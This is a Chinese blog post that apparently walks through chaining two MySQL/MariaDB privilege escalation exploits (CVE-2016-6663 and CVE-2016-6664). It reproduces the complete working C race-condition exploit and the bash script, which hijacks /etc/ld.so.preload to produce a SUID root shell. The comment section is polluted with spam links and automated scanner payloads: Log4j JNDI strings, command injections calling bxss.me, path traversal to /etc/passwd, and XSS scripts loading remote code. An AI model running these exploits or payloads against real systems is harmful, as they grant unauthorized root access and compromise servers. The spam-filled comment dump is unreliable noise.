首先可以用下面的mysqlpoc.c将当前普通用户提权到mysql用户组权限, 这里我改了tmp目录为data目录,因为看readme里面写了redhat-base 系统tmp目录无法成功。所以测试的时候先在根目录创建/data目录,再给777权限,命令如下。
mkdir /data
chmod 777 /data
mysqlpoc.c
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/data/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {
if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare data dir
printf("\n[+] Creating exploit temp directory %s\n", "/data/" EXP_DIRN);
umask(000);
system("rm -rf /data/" EXP_DIRN " && mkdir /data/" EXP_DIRN);
system("chmod g+s /data/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}
编译上面c文件,可以直接git clone我的github, 然后make就行,编译报错可能是没有安装mysql-devel包。执行之后我们可以得到一个shell,whoami一下可以看到是mysql,我们已经具备了mysql用户权限。
然后通过ps aux | grep mysql找到mysql错误日志目录,执行下面的shell脚本获取root
poc.sh
#!/bin/bash -p
#
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.0)
#
# CVE-2016-6664 / OCVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# http://legalhackers.com
#
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
# See full advisory for details at:
#
# http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}
#intro
echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
echo -e "Got it. Executing 'killall mysqld' now..."
killall mysqld
fi
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
#while :; do
# sleep 0.1
# ps aux | grep mysqld | grep -q 'log-error'
# if [ $? -eq 0 ]; then
# break;
# fi
#done
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
# Job done.
cleanexit 0
这是我测试成功的图
mysql用户组权限对于mysql 错误日志目录必须具备w权限,我测试的机器mysql通过yum安装,默认日志目录的属主和用户组是root,其他用户对这个目录只有rx权限,所以我是手动添加的w权限才成功, 可能大家会觉得鸡肋,但是有dba的公司一般会手动指定log目录,所以是否具备w权限真不一定
评论
Strange lumps under my left armpit.? | Yahoo Respostas <a href=http://armpit.info/what-does-a-small-hard-lump-under-armpit-mean/>small hard lump under armpit</a>
博客 firebroo的个人网站 <a href="http://www.g4ft489zsj417m48xc53posd2r05zl00s.org/">abxxqewied</a> bxxqewied http://www.g4ft489zsj417m48xc53posd2r05zl00s.org/ [url=http://www.g4ft489zsj417m48xc53posd2r05zl00s.org/]ubxxqewied[/url]
博客 firebroo的个人网站 <a href="http://www.gi73kl4u59o96x1b3k80ei5qld2wj521s.org/">alxxgtcqyd</a> lxxgtcqyd http://www.gi73kl4u59o96x1b3k80ei5qld2wj521s.org/ [url=http://www.gi73kl4u59o96x1b3k80ei5qld2wj521s.org/]ulxxgtcqyd[/url]
博客 firebroo的个人网站 byjtrfwbql http://www.g38u02l54w47hnr83d59fc644rebb3ars.org/ <a href="http://www.g38u02l54w47hnr83d59fc644rebb3ars.org/">abyjtrfwbql</a> [url=http://www.g38u02l54w47hnr83d59fc644rebb3ars.org/]ubyjtrfwbql[/url]
<esi:include src="http://bxss.me/rpb.png"/>
${9999115+9999377}
EQ2mLGA8
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
${j${::-n}di:dns${::-:}//hitwficfdnfrn325d7${::-.}bxss.me}zzzz
Http://bxss.me/t/fit.txt
response.write(9669489*9682979)
&n990416=v922502
'+response.write(9669489*9682979)+'
bxss.me
http://bxss.me/t/fit.txt?.jpg
"+response.write(9669489*9682979)+"
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-7163..49981${::-.}1${::-.}bxss.me}}
!(()&&!|*|*|
echo evbocb$()\ hpsivn\nz^xyu||a #' &echo evbocb$()\ hpsivn\nz^xyu||a #|" &echo evbocb$()\ hpsivn\nz^xyu||a #
&echo lupueq$()\ qhucnk\nz^xyu||a #' &echo lupueq$()\ qhucnk\nz^xyu||a #|" &echo lupueq$()\ qhucnk\nz^xyu||a #
^(#$!@#$)(()))******
|echo rvxivz$()\ merzlg\nz^xyu||a #' |echo rvxivz$()\ merzlg\nz^xyu||a #|" |echo rvxivz$()\ merzlg\nz^xyu||a #
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
/xfs.bxss.me
(nslookup hitmgucuftlps4bdfe.bxss.me||perl -e "gethostbyname('hitmgucuftlps4bdfe.bxss.me')")
'.gethostbyname(lc('hitix'.'bcowkpbl2d347.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(67).chr(122).chr(87).'
';print(md5(31337));$a='
$(nslookup hitriuihbcntce614e.bxss.me||perl -e "gethostbyname('hitriuihbcntce614e.bxss.me')")
".gethostbyname(lc("hitfm"."woxkjyrg39359.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(90).chr(106).chr(78)."
";print(md5(31337));$a="
${@print(md5(31337))}
&(nslookup hitmmzkjtvqbs3fc63.bxss.me||perl -e "gethostbyname('hitmmzkjtvqbs3fc63.bxss.me')")&'\"`0&(nslookup hitmmzkjtvqbs3fc63.bxss.me||perl -e "gethostbyname('hitmmzkjtvqbs3fc63.bxss.me')")&`'
${@print(md5(31337))}\
ctime sleep p0 (I30 tp1 Rp2 .
|(nslookup hititawrbyycx60e51.bxss.me||perl -e "gethostbyname('hititawrbyycx60e51.bxss.me')")
'.print(md5(31337)).'
1YQf0stzO
`(nslookup hitsajsykvyjyb7677.bxss.me||perl -e "gethostbyname('hitsajsykvyjyb7677.bxss.me')")`
comments
"+"A".concat(70-3).concat(22*4).concat(118).concat(90).concat(120).concat(87)+(require"socket" Socket.gethostbyname("hitih"+"kcjhahia8167d.bxss.me.")[3].to_s)+"
comments/.
'+'A'.concat(70-3).concat(22*4).concat(116).concat(81).concat(104).concat(76)+(require'socket' Socket.gethostbyname('hitsn'+'ctpvivau3ca5b.bxss.me.')[3].to_s)+'
'"()&%<acx><ScRiPt >3wMQ(9110)</ScRiPt>
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
'"()&%<acx><ScRiPt >3wMQ(9780)</ScRiPt>
9575298
acu6391<s1﹥s2ʺs3ʹuca6391
<%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
<ScRiPt >3wMQ(9033)</ScRiPt>
<WOGZIM>IIMNB[!+!]</WOGZIM>
<script>3wMQ(9966)</script>
<ScR<ScRiPt>IpT>3wMQ(9019)</sCr<ScRiPt>IpT>
<ScRiPt >3wMQ(9285)</ScRiPt>
<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9281></ScRiPt>
<isindex type=image src=1 onerror=3wMQ(9578)>
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9812'>
<body onload=3wMQ(9819)>
<img src=//xss.bxss.me/t/dot.gif onload=3wMQ(9177)>
<img src=xyz OnErRor=3wMQ(9403)>
<img/src=">" onerror=alert(9876)>
%0A%3C%53%63%52%69%50%74%20%3E%33%77%4D%51%289676%29%3C%2F%73%43%72%69%70%54%3E
\u003CScRiPt\3wMQ(9978)\u003C/sCripT\u003E
<ScRiPt>3wMQ(9186)</sCripT>
<input autofocus onfocus=3wMQ(9951)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
}body{acu:Expre/**/SSion(3wMQ(9031))}
34sMW <ScRiPt >3wMQ(9053)</ScRiPt>
<WOIUIN>GYAC2[!+!]</WOIUIN>
<ifRAme sRc=9376.com></IfRamE>
<aHTI1VR x=9567>
<img sRc='http://attacker-9090/log.php?
<a83oTA1<